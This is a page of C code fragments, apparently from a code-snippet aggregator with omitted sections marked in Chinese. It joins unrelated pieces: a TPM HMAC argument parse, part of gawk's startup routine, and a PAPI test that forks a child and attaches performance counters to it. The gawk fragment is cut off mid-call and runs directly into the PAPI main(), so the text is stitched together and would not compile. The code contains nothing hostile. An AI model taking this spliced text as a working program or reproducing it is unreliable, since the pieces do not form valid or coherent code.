            cmdAuth.hmac.t.size = sizeof(cmdAuth.hmac.t) - 2;
            if(str2ByteStructure(optarg,&cmdAuth.hmac.t.size,cmdAuth.hmac.t.buffer) != 0)
            {
//.........这里部分代码省略.........

//.........这里部分代码省略.........
	 * they could want to do a regexp compile.
	 */
	resetup();

	/* Set up the special variables */
	init_vars();

	/* Set up the field variables */
	init_fields();

	/* Now process the pre-assignments */
	for (i = 0; i <= numassigns; i++) {
		if (preassigns[i].type == PRE_ASSIGN)
			(void) arg_assign(preassigns[i].val, true);
		else	/* PRE_ASSIGN_FS */
			cmdline_fs(preassigns[i].val);
		efree(preassigns[i].val);
	}

	if (preassigns != NULL)
		efree(preassigns);

	if ((BINMODE & BINMODE_INPUT) != 0)
		if (os_setbinmode(fileno(stdin), O_BINARY) == -1)
			fatal(_("can't set binary mode on stdin (%s)"), strerror(errno));
	if ((BINMODE & BINMODE_OUTPUT) != 0) {
		if (os_setbinmode(fileno(stdout), O_BINARY) == -1)
			fatal(_("can't set binary mode on stdout (%s)"), strerror(errno));
		if (os_setbinmode(fileno(stderr), O_BINARY) == -1)
			fatal(_("can't set binary mode on stderr (%s)"), strerror(errno));
	}

#ifdef GAWKDEBUG
	setbuf(stdout, (char *) NULL);	/* make debugging easier */
#endif
	if (os_isatty(fileno(stdout)))
		output_is_tty = true;

	/* initialize API before loading extension libraries */
	init_ext_api();

	/* load extension libs */
        for (s = srcfiles->next; s != srcfiles; s = s->next) {
                if (s->stype == SRC_EXTLIB)
			load_ext(s->fullpath);
		else if (s->stype != SRC_INC)
			have_srcfile++;
        }

	/* do version check after extensions are loaded to get extension info */
	if (do_version)
		version();

	/* No -f or --source options, use next arg */
	if (! have_srcfile) {
		if (optind > argc - 1 || stopped_early) /* no args left or no program */
			usage(EXIT_FAILURE, stderr);
		(void) add_srcfile(SRC_CMDLINE, argv[optind], srcfiles, NULL, NULL);
		optind++;
	}

	/* Select the interpreter routine */
	init_interpret();

	init_args(optind, argc,
			do_posix ? argv[0] : myname,

int
main( int argc, char **argv )
{
	int status, retval, num_tests = 1, tmp;
	int EventSet1 = PAPI_NULL;
	long long **values;
	long long elapsed_us, elapsed_cyc, elapsed_virt_us, elapsed_virt_cyc;
	char event_name[PAPI_MAX_STR_LEN];;
	const PAPI_hw_info_t *hw_info;
	const PAPI_component_info_t *cmpinfo;
	pid_t pid;

	/* Fork before doing anything with the PMU */

	setbuf(stdout,NULL);
	pid = fork(  );
	if ( pid < 0 )
		test_fail( __FILE__, __LINE__, "fork()", PAPI_ESYS );
	if ( pid == 0 )
		exit( wait_for_attach_and_loop(  ) );

	tests_quiet( argc, argv );	/* Set TESTS_QUIET variable */


	/* Master only process below here */

	retval = PAPI_library_init( PAPI_VER_CURRENT );
	if ( retval != PAPI_VER_CURRENT )
		test_fail_exit( __FILE__, __LINE__, "PAPI_library_init", retval );

	if ( ( cmpinfo = PAPI_get_component_info( 0 ) ) == NULL )
		test_fail_exit( __FILE__, __LINE__, "PAPI_get_component_info", 0 );

	if ( cmpinfo->attach == 0 )
		test_skip( __FILE__, __LINE__, "Platform does not support attaching",
				   0 );

	hw_info = PAPI_get_hardware_info(  );
	if ( hw_info == NULL )
		test_fail_exit( __FILE__, __LINE__, "PAPI_get_hardware_info", 0 );

	/* add PAPI_TOT_CYC and one of the events in PAPI_FP_INS, PAPI_FP_OPS or
	   PAPI_TOT_INS, depending on the availability of the event on the
	   platform */
	retval = PAPI_create_eventset(&EventSet1);
	if ( retval != PAPI_OK )
		test_fail_exit( __FILE__, __LINE__, "PAPI_attach", retval );

	/* Force addition of component */

	retval = PAPI_assign_eventset_component( EventSet1, 0 );
	if ( retval != PAPI_OK )
		test_fail( __FILE__, __LINE__, "PAPI_assign_eventset_component",
				   retval );

	/* The following call causes this test to fail for perf_events */

	retval = PAPI_attach( EventSet1, ( unsigned long ) pid );
	if ( retval != PAPI_OK )
		test_fail_exit( __FILE__, __LINE__, "PAPI_attach", retval );

	sprintf(event_name,"PAPI_TOT_CYC");

	retval = PAPI_add_event(EventSet1, PAPI_TOT_CYC);
	if ( retval != PAPI_OK )
		test_fail_exit( __FILE__, __LINE__, "PAPI_add_event", retval );
	retval = PAPI_add_event(EventSet1, PAPI_FP_INS);
	if ( retval == PAPI_ENOEVNT ) {
		test_warn( __FILE__, __LINE__, "PAPI_FP_INS", retval);
	} else if ( retval != PAPI_OK ) {
		test_fail_exit( __FILE__, __LINE__, "PAPI_add_event", retval );
	}
	
	values = allocate_test_space( 1, 2);

	elapsed_us = PAPI_get_real_usec(  );

	elapsed_cyc = PAPI_get_real_cyc(  );

	elapsed_virt_us = PAPI_get_virt_usec(  );

	elapsed_virt_cyc = PAPI_get_virt_cyc(  );

	printf("must_ptrace is %d\n",cmpinfo->attach_must_ptrace);
	pid_t  child = wait( &status );
	printf( "Debugger exited wait() with %d\n",child );
	  if (WIFSTOPPED( status ))
	    {
	      printf( "Child has stopped due to signal %d (%s)\n",
		      WSTOPSIG( status ), strsignal(WSTOPSIG( status )) );
	    }
	  if (WIFSIGNALED( status ))
	    {
	      printf( "Child %ld received signal %d (%s)\n",
		      (long)child,
		      WTERMSIG(status) , strsignal(WTERMSIG( status )) );
	    }
	printf("After %d\n",retval);

	retval = PAPI_start( EventSet1 );
//.........这里部分代码省略.........